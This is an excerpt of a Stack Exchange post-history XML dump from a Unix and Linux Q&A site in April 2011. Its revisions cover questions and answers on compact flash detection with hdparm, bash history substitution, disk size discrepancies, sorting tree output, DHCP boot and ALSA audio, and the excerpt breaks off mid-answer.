  <row Id="26105" PostHistoryTypeId="2" PostId="10807" RevisionGUID="928c6422-336d-4ded-9426-3f89479dc2bc" CreationDate="2011-04-07T08:34:01.467" UserId="6339" Text="It seems _likely_ (though there may be caveats) that this will distiguish between flash-based storage devices and traditional hard disks:&#xD;&#xA;&#xD;&#xA;    is_compact_flash ()&#xD;&#xA;    {&#xD;&#xA;        hdparm -I $1 | grep -q CFA &amp;&amp; return 0 || return 1&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    disk=/dev/sda&#xD;&#xA;    if is_compact_flash $disk; then&#xD;&#xA;        echo &quot;$disk is a compact flash disk&quot;&#xD;&#xA;    else&#xD;&#xA;        echo &quot;$disk is not a compact flash disk&quot;&#xD;&#xA;    fi&#xD;&#xA;" />
  <row Id="26106" PostHistoryTypeId="2" PostId="10808" RevisionGUID="ed81f75c-56cd-424d-8d5e-290e45645d52" CreationDate="2011-04-07T08:37:41.430" UserId="6362" Text="Replace parts of the previous command:&#xD;&#xA;&#xD;&#xA;`^`search`^`replace&#xD;&#xA;&#xD;&#xA;    $ echo a b c d&#xD;&#xA;    a b c d&#xD;&#xA;    $ ^b c^X&#xD;&#xA;    echo a X d&#xD;&#xA;    a X d&#xD;&#xA;&#xD;&#xA;Great for typos:&#xD;&#xA;&#xD;&#xA;    $ mkae&#xD;&#xA;    -bash: mkae: command not found&#xD;&#xA;    $ ^ka^ak&#xD;&#xA;    make&#xD;&#xA;    [...]&#xD;&#xA;" />
  <row Id="26107" PostHistoryTypeId="2" PostId="10809" RevisionGUID="8a119919-f2c2-42ed-80b0-c73fe1c9be12" CreationDate="2011-04-07T08:43:18.527" UserId="3169" Text="Put this in `~/.inputrc`:&#xD;&#xA;&#xD;&#xA;    &quot;\eOC&quot;: forward-word&#xD;&#xA;    &quot;\eOD&quot;: backward-word&#xD;&#xA;&#xD;&#xA;And put `export INPUTRC=~/.inputrc` in your `~/.bashrc`.&#xD;&#xA;&#xD;&#xA;If that doesn't work, type &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;V&lt;/kbd&gt; &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;-&gt;&lt;/kbd&gt; and see what it prints out, then change `&quot;\eOC&quot;` to that using the [inputrc rules](http://cnswww.cns.cwru.edu/php/chet/readline/rluserman.html#SEC9), e.g.&#xD;&#xA;&#xD;&#xA;* `\C` means control&#xD;&#xA;* `\e` means escape (which appears as `^[` when typing it using Ctrl+V above)&#xD;&#xA;" />
  <row Id="26108" PostHistoryTypeId="5" PostId="10809" RevisionGUID="80cfca91-4d94-4529-b35d-6fb631de1ea0" CreationDate="2011-04-07T08:49:04.503" UserId="3169" Comment="added 179 characters in body" Text="The correct answer depends on which terminal you are using.&#xD;&#xA;&#xD;&#xA;But most of the time, all you need to do is put this in `~/.inputrc`:&#xD;&#xA;&#xD;&#xA;    &quot;\eOC&quot;: forward-word&#xD;&#xA;    &quot;\eOD&quot;: backward-word&#xD;&#xA;&#xD;&#xA;And put&#xD;&#xA;&#xD;&#xA;    export INPUTRC=~/.inputrc&#xD;&#xA;&#xD;&#xA;in your `~/.bashrc`.&#xD;&#xA;&#xD;&#xA;If that doesn't work, go to a shell prompt and type &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;V&lt;/kbd&gt; &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;-&gt;&lt;/kbd&gt; and see what it prints out, then change `&quot;\eOC&quot;` and `&quot;\eOD&quot;` above to whatever it prints out, using the [inputrc syntax](http://cnswww.cns.cwru.edu/php/chet/readline/rluserman.html#SEC9), e.g.&#xD;&#xA;&#xD;&#xA;* `\C` means control&#xD;&#xA;* `\e` means escape (which appears as `^[` when typing it using Ctrl+V above)&#xD;&#xA;" />
  <row Id="26109" PostHistoryTypeId="5" PostId="10807" RevisionGUID="6babd40b-c61e-4b82-a8e6-02de03f01935" CreationDate="2011-04-07T08:51:15.267" UserId="6339" Comment="improved code" Text="It seems _likely_ (though there may be caveats) that this will distiguish between flash-based storage devices and traditional hard disks:&#xD;&#xA;&#xD;&#xA;    is_compact_flash ()&#xD;&#xA;    {&#xD;&#xA;        hdparm -I $1 | sed -n '\_Commands/features:_,\_Security:_p' | grep -q CFA &amp;&amp; return 0 || return 1&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    disk=/dev/sda&#xD;&#xA;    if is_compact_flash $disk; then&#xD;&#xA;        echo &quot;$disk is a compact flash disk&quot;&#xD;&#xA;    else&#xD;&#xA;        echo &quot;$disk is not a compact flash disk&quot;&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;**EDIT:** Added `sed` command to guard against model or serial containing CFA." />
  <row Id="26110" PostHistoryTypeId="2" PostId="10810" RevisionGUID="898dacdd-fc57-4b07-8d84-76e525b7da14" CreationDate="2011-04-07T09:05:08.847" UserId="3169" Text="Without more information, I can't say exactly where it's all gone, but the file system needs to use some of the partition to keep track of everything.  This is sometimes called metadata.&#xD;&#xA;&#xD;&#xA;For example, with ext2 and ext3, which are the most common file systems on Linux, it takes up some space for tracking which parts of the disk are free (in units called blocks), and for things called inodes, which track things like which parts of the disk (again in blocks) belong to which files, and all the information `ls -l` can show you, such as who owns the file, and what its permissions are." />
  <row Id="26111" PostHistoryTypeId="25" PostId="10806" RevisionGUID="b4256551-5b99-4630-8500-89e40b049554" CreationDate="2011-04-07T09:09:01.763" Comment="http://twitter.com/#!/StackUnix/status/55919999969275904" />
  <row Id="26112" PostHistoryTypeId="2" PostId="10811" RevisionGUID="435e561f-fd9f-4e38-a6b9-4057ae49cc35" CreationDate="2011-04-07T09:13:50.683" UserId="2343" Text="Human readable, you say? .. try this ..  &#xD;&#xA;&#xD;&#xA;    tree -shif /tmp &#xD;&#xA;&#xD;&#xA;.. and lots of other options &#xD;&#xA;&#xD;&#xA;(oops missed the &quot;sort by size&quot;...&#xD;&#xA;" />
  <row Id="26113" PostHistoryTypeId="5" PostId="10810" RevisionGUID="99001bb5-ca29-4471-9a6a-a7331810be77" CreationDate="2011-04-07T09:26:39.477" UserId="3169" Comment="added 164 characters in body" Text="Without more information, I can't say exactly where it's all gone, but the file system needs to use some of the partition to keep track of everything.  This is sometimes called metadata.&#xD;&#xA;&#xD;&#xA;For example, with ext2 and ext3, which are the most common file systems on Linux, it takes up some space for tracking which parts of the disk are free (in units called blocks), and for things called inodes, which track things like which parts of the disk (again in blocks) belong to which files, and all the information `ls -l` can show you, such as who owns the file, and what its permissions are.&#xD;&#xA;&#xD;&#xA;Of course, there is question of whether &quot;disk utility&quot; is showing GB as meaning 1024 MiB or 1000 MB.  (By default, `df` uses powers of 2, so 1 GB = 1048576 KB.)" />
  <row Id="26114" PostHistoryTypeId="5" PostId="10807" RevisionGUID="406b5543-154c-4c61-ae31-b3642b2eda4d" CreationDate="2011-04-07T09:28:39.463" UserId="6339" Comment="formatting" Text="It seems _likely_ (though there may be caveats) that this will distiguish between flash-based storage devices and traditional hard disks:&#xD;&#xA;&#xD;&#xA;    is_compact_flash ()&#xD;&#xA;    {&#xD;&#xA;        hdparm -I $1 | sed -n '\_Commands/features:_,\_Security:_p' | \&#xD;&#xA;            grep -q CFA &amp;&amp; return 0 || return 1&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    disk=/dev/sda&#xD;&#xA;    if is_compact_flash $disk; then&#xD;&#xA;        echo &quot;$disk is a compact flash disk&quot;&#xD;&#xA;    else&#xD;&#xA;        echo &quot;$disk is not a compact flash disk&quot;&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;**EDIT:** Added `sed` command to guard against model or serial containing CFA." />
  <row Id="26115" PostHistoryTypeId="2" PostId="10812" RevisionGUID="37bc3362-cf04-495c-a379-2f3c2d11bd8c" CreationDate="2011-04-07T09:38:13.987" UserId="6363" Text="Hi,  &#xD;&#xA;&#xD;&#xA;I am trying my hand with linux, just come across the concept of module stacking. It can be used to use symbol exported by other Modules. Means we can use something already made in some module so we do not have to redo something already done. But still i am not getting where in realtime we see this type of concept with linux. &#xD;&#xA;&#xD;&#xA;I am following following link same from o'reilly book.&#xD;&#xA;http://www.makelinux.net/ldd3/chp-2-sect-5.shtml &#xD;&#xA;&#xD;&#xA;Stacking in the parallel port subsystem is shown in Figure 2-2; &#xD;&#xA;I am not able to understand this fig-2.2  ?&#xD;&#xA;&#xD;&#xA;Can you just give SOME REALTIME EXAMPLE APLLICATION where we can use concept of module stacking it will increase my vision horizon ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;greets, &#xD;&#xA;&#xD;&#xA;katoch" />
  <row Id="26116" PostHistoryTypeId="1" PostId="10812" RevisionGUID="37bc3362-cf04-495c-a379-2f3c2d11bd8c" CreationDate="2011-04-07T09:38:13.987" UserId="6363" Text="Niewbe question --- Module Stacking in linux device drivers" />
  <row Id="26117" PostHistoryTypeId="3" PostId="10812" RevisionGUID="37bc3362-cf04-495c-a379-2f3c2d11bd8c" CreationDate="2011-04-07T09:38:13.987" UserId="6363" Text="élinuxàékernelödriversà" />
  <row Id="26118" PostHistoryTypeId="5" PostId="10810" RevisionGUID="8fdf38dd-3662-4560-9114-aea717f1e20f" CreationDate="2011-04-07T09:38:46.303" UserId="3169" Comment="deleted 46 characters in body" Text="There are several possible reasons for the difference.&#xD;&#xA;&#xD;&#xA;Most disk manufacturers say 1 GB = 1,000,000 KB.  Most operating systems say 1 GB = 1,048,576 KB.  Disk utility might be showing &quot;decimal gigabytes&quot;; df shows &quot;binary gigabytes&quot;.  154 decimal gigabytes is about 143 binary gigabytes, about a 6% difference.&#xD;&#xA;&#xD;&#xA;The file system uses some of the partition for metadata, which is things like file names, file permissions, which parts of the partition belong to which files, and which parts of the partition are free.  On my system, about 2% of the partition is used for this.&#xD;&#xA;&#xD;&#xA;The file system can also reserve some space that can only be used by the root user.  On my system, it's 1% of the partition." />
  <row Id="26119" PostHistoryTypeId="5" PostId="10811" RevisionGUID="bc3dd614-918d-44e8-b379-bd601760af2a" CreationDate="2011-04-07T09:47:03.790" UserId="2343" Comment="added 650 characters in body; added 22 characters in body; added 1 characters in body" Text="Human readable, you say? .. try this ..  &#xD;&#xA;&#xD;&#xA;    tree -shif /tmp &#xD;&#xA;&#xD;&#xA;.. and lots of other options &#xD;&#xA;&#xD;&#xA;(oops :) I missed the &quot;sort by size&quot;...  &#xD;&#xA;&#xD;&#xA;Here's a variant which loses the simpicity, but it gives you the *Human Readable* format you want ( **K M G T P E** ).  Sorry, no nice colours....&#xD;&#xA;&#xD;&#xA;    tree -shinf --noreport ~/bin/awk \&#xD;&#xA;    |sed  -e &quot;s/^\(\[ *[0-9.]\+\)\(\] \) \(.*\)/0\1\2\3/&quot; \&#xD;&#xA;          -e &quot;s/^\(\[ *[0-9.]\+\)\(K\] \) \(.*\)/1\1\2\3/&quot; \&#xD;&#xA;          -e &quot;s/^\(\[ *[0-9.]\+\)\(M\] \) \(.*\)/2\1\2\3/&quot; \&#xD;&#xA;          -e &quot;s/^\(\[ *[0-9.]\+\)\(G\] \) \(.*\)/3\1\2\3/&quot; \&#xD;&#xA;          -e &quot;s/^\(\[ *[0-9.]\+\)\(T\] \) \(.*\)/4\1\2\3/&quot; \&#xD;&#xA;          -e &quot;s/^\(\[ *[0-9.]\+\)\(P\] \) \(.*\)/5\1\2\3/&quot; \&#xD;&#xA;          -e &quot;s/^\(\[ *[0-9.]\+\)\(E\] \) \(.*\)/6\1\2\3/&quot; \&#xD;&#xA;    |sort|sed -n &quot;s/[0-6]\(.*\)/\1/p&quot;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="26120" PostHistoryTypeId="5" PostId="10812" RevisionGUID="e7ff82b7-fc29-4f0a-b02b-1f8aa18583d8" CreationDate="2011-04-07T09:52:22.243" UserId="688" Comment="why r ppl so lazy to write right" Text="I am trying my hand with Linux, just come across the concept of module stacking. It can be used to use symbol exported by other Modules. Means we can use something already made in some module so we do not have to do something that is already done. But still I am not getting where in real-time we see this type of concept with Linux. &#xD;&#xA;&#xD;&#xA;I am following the same link from the o'reilly book - http://www.makelinux.net/ldd3/chp-2-sect-5.shtml &#xD;&#xA;&#xD;&#xA;Stacking in the parallel port subsystem is shown in Figure 2-2; I am not able to understand this figure?&#xD;&#xA;&#xD;&#xA;Can you just give SOME REALTIME EXAMPLE APPLICATION where we can use concept of module stacking, which will increase my vision horizon?&#xD;&#xA;" />
  <row Id="26121" PostHistoryTypeId="4" PostId="10812" RevisionGUID="e7ff82b7-fc29-4f0a-b02b-1f8aa18583d8" CreationDate="2011-04-07T09:52:22.243" UserId="688" Comment="why r ppl so lazy to write right" Text="Module Stacking in Linux device drivers" />
  <row Id="26128" PostHistoryTypeId="2" PostId="10813" RevisionGUID="532aaa68-b0b1-4867-be4f-7d8abe91d91e" CreationDate="2011-04-07T10:07:38.563" UserId="6001" Text="I have configured /etc/network/interface like this:&#xD;&#xA;&#xD;&#xA;    auto lo eth0&#xD;&#xA;    iface lo inet loopback&#xD;&#xA;    iface eth0 inet dhcp&#xD;&#xA;&#xD;&#xA;But when a lease cannot be obtained, the booting is not completed. Is it possible to leave DHCP enabled but, in case a DHCP lease is not achieved, still complete the boot (so that a new network configuration can be performed)?" />
  <row Id="26129" PostHistoryTypeId="1" PostId="10813" RevisionGUID="532aaa68-b0b1-4867-be4f-7d8abe91d91e" CreationDate="2011-04-07T10:07:38.563" UserId="6001" Text="How to configure DHCP so that boot is completed even without a DHCP server?" />
  <row Id="26130" PostHistoryTypeId="3" PostId="10813" RevisionGUID="532aaa68-b0b1-4867-be4f-7d8abe91d91e" CreationDate="2011-04-07T10:07:38.563" UserId="6001" Text="ébootàéconfigurationàédhcpàéudhcpcà" />
  <row Id="26131" PostHistoryTypeId="2" PostId="10814" RevisionGUID="87d7b435-13c7-4acb-afc8-8f191eb62392" CreationDate="2011-04-07T10:22:29.600" UserId="1594" Text="I wanted to put my work files (code) in /usr/local/src, but I think it's already a folder that has some other semantic meaning.&#xD;&#xA;&#xD;&#xA;What is that? Should I put source code there, or is there a better place?" />
  <row Id="26132" PostHistoryTypeId="1" PostId="10814" RevisionGUID="87d7b435-13c7-4acb-afc8-8f191eb62392" CreationDate="2011-04-07T10:22:29.600" UserId="1594" Text="What is the &quot;/usr/local/src&quot; folder meant for?" />
  <row Id="26133" PostHistoryTypeId="3" PostId="10814" RevisionGUID="87d7b435-13c7-4acb-afc8-8f191eb62392" CreationDate="2011-04-07T10:22:29.600" UserId="1594" Text="éubuntuàéfolderöstructureà" />
  <row Id="26134" PostHistoryTypeId="2" PostId="10815" RevisionGUID="b997e1bc-9805-43cf-a8a0-5a3edd20aabe" CreationDate="2011-04-07T10:28:42.863" UserId="6364" Text="What is the difference between (unix-system “which [name]) and which [name] commands.&#xD;&#xA;&#xD;&#xA;For example when I use the (unix-system “which visual_elite) command I get the following result:&#xD;&#xA;&#xD;&#xA;/home/vhdl/edatools/mentor/visualelite/VisualElite-4.2.1/Linux2.4/bin/visual_elite&#xD;&#xA;&#xD;&#xA;When I do the same on the command line using which visual_elite I get&#xD;&#xA;&#xD;&#xA;enidl-atlas-schur &lt;76&gt; # which visual_elite&#xD;&#xA;visual_elite is /home/vhdl/edatools/mentor/visualelite/VisualElite-4.2.1/visual_elite&#xD;&#xA;&#xD;&#xA;Why do I have this difference?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;Mihaela&#xD;&#xA;" />
  <row Id="26135" PostHistoryTypeId="1" PostId="10815" RevisionGUID="b997e1bc-9805-43cf-a8a0-5a3edd20aabe" CreationDate="2011-04-07T10:28:42.863" UserId="6364" Text="&quot;which&quot; command difference" />
  <row Id="26136" PostHistoryTypeId="3" PostId="10815" RevisionGUID="b997e1bc-9805-43cf-a8a0-5a3edd20aabe" CreationDate="2011-04-07T10:28:42.863" UserId="6364" Text="éunixà" />
  <row Id="26137" PostHistoryTypeId="2" PostId="10816" RevisionGUID="64976c90-e5c8-42d5-86b1-4821859983e4" CreationDate="2011-04-07T10:29:34.550" UserId="6149" Text="According to [FHS][1], `/usr` is the location where Distribution-based items are placed and `/usr/local` is the location where you'd place your own localized changes (`/usr/local` will be empty after a base install).  So, for example, if you wanted to recompile an Ubuntu package from source, their package manager would place the source for package in `/usr/src/{package dir}`.  If you downloaded a program not managed by your distribution and wanted to compile/install it, FHS dictates that you do that in `/usr/local/src`.&#xD;&#xA;&#xD;&#xA;EDIT: Short answer, yes, put your code in `/usr/local/src`.&#xD;&#xA;  [1]: http://www.pathname.com/fhs/pub/fhs-2.3.html#PURPOSE18" />
  <row Id="26138" PostHistoryTypeId="5" PostId="10766" RevisionGUID="1c17186e-53ab-4505-a222-175732fa1dc3" CreationDate="2011-04-07T10:35:14.467" UserId="4361" Comment="changed April to May." Text="I am wondering how to change the time format when I am modifying a time with the touch command in the c shell.&#xD;&#xA;&#xD;&#xA;For example I need to use&#xD;&#xA;&#xD;&#xA;    touch -a -t 051512002015 file.txt&#xD;&#xA;&#xD;&#xA;This will change the access time to May 15th 2015, 12:00.  &#xD;&#xA;&#xD;&#xA;What I want to do though is (notice year is first now)&#xD;&#xA;&#xD;&#xA;    touch -a -t 201505151200 file.txt&#xD;&#xA;&#xD;&#xA;This is how touch works in Linux.  I use UnxUtils on Windows, which I am almost sure uses c-shell touch.  I want the commands to be consistent.  Is it possible to change the c-shell touch command?" />
  <row Id="26139" PostHistoryTypeId="2" PostId="10817" RevisionGUID="52f2364c-8a58-4103-9d90-ff377089a5a1" CreationDate="2011-04-07T10:41:35.753" UserId="5430" Text="I am running Debian Squeeze. I installed and removed Gnome3 and reinstalled Gnome2.x (epic fail and stupidity) and in the process I have lost audio, `lspci` returns following   &#xD;&#xA;`#lspci | grep Audio&#xD;&#xA;00:1b.0 Audio device: Intel Corporation 82801I (ICH9 Family) HD Audio Controller (rev 03)`   &#xD;&#xA;But lsmod doesn't return any thing.   &#xD;&#xA;`$lspci | grep Audio   &#xD;&#xA;$lspci | grep audio   &#xD;&#xA;$lspci | grep snd   &#xD;&#xA;$lspci | grep sound`&#xD;&#xA;&#xD;&#xA;Any idea what could be wrong? " />
  <row Id="26140" PostHistoryTypeId="1" PostId="10817" RevisionGUID="52f2364c-8a58-4103-9d90-ff377089a5a1" CreationDate="2011-04-07T10:41:35.753" UserId="5430" Text="&quot;lsmod |grep audio&quot; doesn't return anything?" />
  <row Id="26141" PostHistoryTypeId="3" PostId="10817" RevisionGUID="52f2364c-8a58-4103-9d90-ff377089a5a1" CreationDate="2011-04-07T10:41:35.753" UserId="5430" Text="édebianàéaudioàéalsaà" />
  <row Id="26142" PostHistoryTypeId="5" PostId="10817" RevisionGUID="cd3fb134-8eb2-42bd-9f2b-247009b32811" CreationDate="2011-04-07T10:48:55.897" UserId="3169" Comment="fix formatting" Text="I am running Debian Squeeze. I installed and removed Gnome3 and reinstalled Gnome2.x (epic fail and stupidity) and in the process I have lost audio, `lspci` returns following   &#xD;&#xA;&#xD;&#xA;    # lspci | grep Audio&#xD;&#xA;    00:1b.0 Audio device: Intel Corporation 82801I (ICH9 Family) HD Audio Controller (rev 03)   &#xD;&#xA;&#xD;&#xA;But lsmod doesn't return any thing.   &#xD;&#xA;&#xD;&#xA;    $ lspci | grep Audio   &#xD;&#xA;    $ lspci | grep audio   &#xD;&#xA;    $ lspci | grep snd   &#xD;&#xA;    $ lspci | grep sound&#xD;&#xA;&#xD;&#xA;Any idea what could be wrong? " />
  <row Id="26143" PostHistoryTypeId="5" PostId="10811" RevisionGUID="4f5692c2-1840-408e-b09f-57d8b461f8c0" CreationDate="2011-04-07T10:51:45.123" UserId="2343" Comment="deleted 262 characters in body; added 20 characters in body" Text="Human readable, you say? .. try this ..  &#xD;&#xA;&#xD;&#xA;    tree -shif /tmp &#xD;&#xA;&#xD;&#xA;.. and lots of other options &#xD;&#xA;&#xD;&#xA;(oops :) I missed the &quot;sort by size&quot;...  &#xD;&#xA;&#xD;&#xA;Here's a variant which loses the colour, but it sorts the results and gives you the *Human Readable* format you want ( **K M G T P E** )...&#xD;&#xA;&#xD;&#xA;    e=&quot;&quot;; L=({&quot;&quot;,K,M,G,T,P,E})&#xD;&#xA;    for ((i=0,c=${#L[@]};i&lt;c;i++)) ; do&#xD;&#xA;      e=${e}'-e &quot;s/^\(\[ *[0-9.]\+\)\('&quot;${L[i]}&quot;'\] \) \(.*\)/'$i'\1\2\3/&quot; '&#xD;&#xA;    done&#xD;&#xA;    eval &quot;tree -shinf --noreport ~/bin/awk |sed $e |sort -n -t $'\x5B' -k 1,1 -k 2,2 |sed -n 's/[0-6]\(.*\)/\1/p'&quot;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="26144" PostHistoryTypeId="5" PostId="10811" RevisionGUID="3e68e8ae-8da5-4131-a17f-49dc71b5f635" CreationDate="2011-04-07T11:02:21.060" UserId="2343" Comment="added 29 characters in body; deleted 11 characters in body; added 7 characters in body" Text="The first snippet looks nice with its colours, but to get **all** your requiremente, use the second one..  &#xD;&#xA;&#xD;&#xA;    tree -shif /tmp  &#xD;&#xA;&#xD;&#xA;Here's a variant which loses the colour, but it sorts the results and gives you the *Human Readable* format you want ( **K M G T P E** )... and it shows hidden files..&#xD;&#xA;&#xD;&#xA;    e=&quot;&quot;; L=({&quot;&quot;,K,M,G,T,P,E}) # The size labels &#xD;&#xA;    for ((i=0,c=${#L[@]};i&lt;c;i++)) ; do e=${e}'-e &quot;s/^\(\[ *[0-9.]\+\)\('&quot;${L[i]}&quot;'\] \) \(.*\)/'$i'\1\2\3/&quot; ' done&#xD;&#xA;    eval &quot;tree -shinfa --noreport ~/bin/awk |sed $e |sort -n -t $'\x5B' -k 1,1 -k 2,2 |sed -n 's/[0-6]\(.*\)/\1/p'&quot;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="26145" PostHistoryTypeId="5" PostId="10811" RevisionGUID="d5b67676-4116-4fda-a51c-0b512993066d" CreationDate="2011-04-07T11:09:10.787" UserId="2343" Comment="deleted 1 characters in body; deleted 1 characters in body; edited body" Text="The first snippet looks nice with its colours, but to get **all** your requirements, use the second one..  &#xD;&#xA;&#xD;&#xA;    tree -shifa /tmp  &#xD;&#xA;&#xD;&#xA;Here's a variant which loses the colour, but it sorts the results and gives you the *Human Readable* format you want ( **K M G T P E** )... and it shows hidden files..&#xD;&#xA;&#xD;&#xA;    e=&quot;&quot;; L=({&quot;&quot;,K,M,G,T,P,E}) # The size labels &#xD;&#xA;    for ((i=0,c=${#L[@]};i&lt;c;i++)) ; do e=${e}'-e &quot;s/^\(\[ *[0-9.]\+\)\('&quot;${L[i]}&quot;'\] \) \(.*\)/'$i'\1\2\3/&quot; ' ; done&#xD;&#xA;    eval &quot;tree -shinfa --noreport /tmp |sed $e |sort -n -t $'\x5B' -k 1,1 -k 2,2 |sed -n 's/[0-6]\(.*\)/\1/p'&quot;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="26146" PostHistoryTypeId="5" PostId="10810" RevisionGUID="6a1887c5-bb97-4362-91e4-dc2914e77edc" CreationDate="2011-04-07T11:15:35.620" UserId="3169" Comment="added 306 characters in body" Text="The main difference is because some things say 1 kilobyte is 1000 bytes, and others say it is 1024 bytes.&#xD;&#xA;&#xD;&#xA;Gnome Disk Utility shows the capacity using 1 kilobyte = 1000 bytes, because disk manufacturers describe disk sizes this way.  This means your disk capacity is close to 154,000,000,000 bytes.&#xD;&#xA;&#xD;&#xA;On the other hand, most operating systems say 1 kilobyte = 1024 bytes.  `df` follows this convention.  If you do the math, you get 154,000,000,000 bytes / 1024 / 1024 / 1024 = 143.4 GB.&#xD;&#xA;&#xD;&#xA;So that's about a 6% difference.&#xD;&#xA;&#xD;&#xA;Then, there are some other things that contribute to the difference.&#xD;&#xA;&#xD;&#xA;For example, the file system uses some of the disk partition for metadata.  Metadata is things like file names, file permissions, which parts of the partition belong to which files, and which parts of the partition are free.  On my system, about 2% of the partition is used for this.&#xD;&#xA;&#xD;&#xA;The file system can also reserve some space that can only be used by the root user.  On my system, it's 1% of the partition." />
  <row Id="26147" PostHistoryTypeId="5" PostId="10810" RevisionGUID="f3eb2e66-cb3e-494b-9215-7376df248121" CreationDate="2011-04-07T11:20:37.833" UserId="3169" Comment="added 352 characters in body; added 15 characters in body" Text="The main difference is because some things say 1 kilobyte is 1000 bytes, and others say 1 kilobyte is 1024 bytes.&#xD;&#xA;&#xD;&#xA;Gnome Disk Utility shows the capacity using 1 kilobyte = 1000 bytes, because disk manufacturers describe disk sizes this way.  This means your disk capacity is close to **154,000,000,000 bytes**.&#xD;&#xA;&#xD;&#xA;On the other hand, most operating systems say 1 kilobyte = 1024 bytes.  `df` follows this convention.  If you do the math, you get 154,000,000,000 bytes / 1024 / 1024 / 1024 = **143.4 GB**.&#xD;&#xA;&#xD;&#xA;Then, there are some other things that contribute to the difference.&#xD;&#xA;&#xD;&#xA;For example, the file system uses some of the disk partition for metadata.  Metadata is things like file names, file permissions, which parts of the partition belong to which files, and which parts of the partition are free.  On my system, about 2% of the partition is used for this.  So that brings the free space down to about **140 GB**.&#xD;&#xA;&#xD;&#xA;The file system can also reserve some space that can only be used by the root user.  On my system, it's 5% of the partition, so in your case, it would mean a total capacity of about **133 GB**.&#xD;&#xA;&#xD;&#xA;The exact numbers depend on whether you are using ext2, ext3, ext4, fat, ntfs, btrfs, etc, and what settings were used when formatting the partition.&#xD;&#xA;&#xD;&#xA;If you are using ext2 or ext3, `sudo tune2fs -l /dev/sda1` can help understand where the space is going." />
  <row Id="26148" PostHistoryTypeId="2" PostId="10818" RevisionGUID="33e4384d-0603-4a0b-b18b-03b139534e2b" CreationDate="2011-04-07T11:31:17.493" UserId="2594" Text="sda1 isn't your whole disk but its first primary partition. You might have created other unmounted partitions that do not show up in df output or simply have sda1 not filling all usable space for some reason or having the filesystem not using all available space in its partition.&#xD;&#xA;&#xD;&#xA;`fdisk -l` will tell you what your partition table looks like." />
  <row Id="26149" PostHistoryTypeId="2" PostId="10819" RevisionGUID="2e53ac02-b5cf-477c-8e19-130e6bf3ab77" CreationDate="2011-04-07T11:36:25.507" UserId="6366" Text="Hi!&#xD;&#xA;&#xD;&#xA;I would like to execute a command by double-clicking on a *starter* on my Ubuntu Lucid desktop. More specifically, I would like to start a `rdesktop` session. I have thus entered&#xD;&#xA;&#xD;&#xA;`rdesktop -u user -d domain address.to.remote.server`&#xD;&#xA;&#xD;&#xA;into the *Command* field of the starter.  However, double clicking does nothing, even though the starter is set to *executable*. What am I doing wrong?" />
  <row Id="26150" PostHistoryTypeId="1" PostId="10819" RevisionGUID="2e53ac02-b5cf-477c-8e19-130e6bf3ab77" CreationDate="2011-04-07T11:36:25.507" UserId="6366" Text="How to execute a shell command from a &quot;starter&quot;?" />
  <row Id="26151" PostHistoryTypeId="3" PostId="10819" RevisionGUID="2e53ac02-b5cf-477c-8e19-130e6bf3ab77" CreationDate="2011-04-07T11:36:25.507" UserId="6366" Text="éshellàéubuntuà" />
  <row Id="26152" PostHistoryTypeId="2" PostId="10820" RevisionGUID="b833d367-b72b-41ae-98f3-848ebfd483f3" CreationDate="2011-04-07T11:37:10.633" UserId="5666" Text="Maybe you removed alsa related packages or you messed up their installation. Since there are no *snd_** modules loaded, it's probable that `/etc/modprobe.d/alsa-base.conf` is wrong or missing. Try reinstalling alsa and reboot:&#xD;&#xA;&#xD;&#xA;    apt-get --reinstall install alsa-base alsa-oss alsa-utils gstreamer0.10-alsa&#xD;&#xA;&#xD;&#xA;Sometimes, upgrading a package, with many dependencies, to a major release version,   a lot of those dependencies might be removed and replaced with alternative packages. When downgrading to the previous release, it is not certain that the dependency chain will return to it's original state. Especially the upgraded configuration files.&#xD;&#xA;&#xD;&#xA;You can try making a new installation, similar to your original one, to another system (virtualbox?) and compare the sound related packages, their versions and config files between the two systems.&#xD;&#xA;" />
  <row Id="26153" PostHistoryTypeId="5" PostId="10810" RevisionGUID="3d40edeb-f415-49cc-af5e-987c7594c5a9" CreationDate="2011-04-07T11:49:10.110" UserId="3169" Comment="added 504 characters in body; added 58 characters in body" Text="The main difference is because some things say 1 kilobyte is 1000 bytes, and others say 1 kilobyte is 1024 bytes.&#xD;&#xA;&#xD;&#xA;Gnome Disk Utility shows the capacity using 1 kilobyte = 1000 bytes, because disk manufacturers describe disk sizes this way.  This means your disk capacity is close to **154,000,000,000 bytes**.&#xD;&#xA;&#xD;&#xA;On the other hand, most operating systems say 1 kilobyte = 1024 bytes.  All the tools like `df` and `fdisk` use this convention.  So 154,000,000,000 bytes / 1024 / 1024 / 1024 = **143.4 GB**.&#xD;&#xA;&#xD;&#xA;As jlliagre rightly points out (and Gilles implies when asking for your `fdisk` output), disk utility is telling you the size of your whole hard disk.  But `/dev/sda1` is a single partition on your hard disk.  For example, your hard disk probably has some other partitions on it such as a 4-8 GB partition for swap (also known as virtual memory), and a boot partition which is usually around 100 MB.&#xD;&#xA;&#xD;&#xA;You didn't post the output of `fdisk -l /dev/sda`, so let's assume your swap partition is 8 GB.  Now we're down to **135 GB**.&#xD;&#xA;&#xD;&#xA;Then, there are some other things that contribute to the difference.&#xD;&#xA;&#xD;&#xA;For example, the file system uses some of the disk partition for metadata.  Metadata is things like file names, file permissions, which parts of the partition belong to which files, and which parts of the partition are free.  On my system, about 2% of the partition is used for this.  Assuming yours is similar, it would bring the free space down to about **132 GB**.&#xD;&#xA;&#xD;&#xA;The file system can also reserve some space that can only be used by the root user.  On my system, it's 5% of the partition, so in your case, it would mean a total capacity of about **125 GB**.&#xD;&#xA;&#xD;&#xA;The exact numbers depend on whether you are using ext2, ext3, ext4, fat, ntfs, btrfs, etc, and what settings were used when formatting the partition.&#xD;&#xA;&#xD;&#xA;If you are using ext2 or 